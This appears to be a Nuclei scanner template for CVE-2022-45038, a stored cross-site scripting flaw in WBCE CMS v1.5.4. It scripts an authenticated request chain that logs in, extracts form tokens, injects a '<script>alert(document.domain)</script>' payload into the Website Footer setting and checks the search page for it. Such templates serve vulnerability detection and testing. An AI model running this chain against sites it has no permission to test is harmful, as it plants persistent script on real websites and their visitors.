WBCE CMS v1.5.4 - Cross Site Scripting (Stored)

id: CVE-2022-45038

info:
  name: WBCE CMS v1.5.4 -  Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in /admin/settings/save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Website Footer field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of WBCE CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/WBCE/WBCE_CMS
    - https://shimo.im/docs/Ee32MrJd80iEwyA2/read
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45038
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-45038
    cwe-id: CWE-79
    epss-score: 0.00092
    epss-percentile: 0.37956
    cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: wbce
    product: wbce_cms
  tags: cve2022,cve,xss,wbce,cms,authenticated

http:
  - raw:
      - |
        GET /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
      - |
        GET /admin/settings/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin/settings/save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        advanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=
      - |
        GET /search/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Results For"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: username_fieldname
        group: 1
        regex:
          - 'name="username_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: password_fieldname
        group: 1
        regex:
          - 'name="password_fieldname" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: formtoken
        group: 1
        regex:
          - 'name="formtoken" value="(.*)"'
        internal: true
        part: body

      - type: regex
        name: app_name
        group: 1
        regex:
          - 'name="app_name" value="(.*?)"'
        internal: true
        part: body
# digest: 490a004630440220236c2ea7a5a87ab71674dcbc6b934a4397029b3d326ba6f7e3a9a51beacb9a94022066f22477022e34bd8d4bd31f88af1c31eae3632e616489ed4c7763b4ea2aaa8d:922c64590222798bb761d5b6d8e72950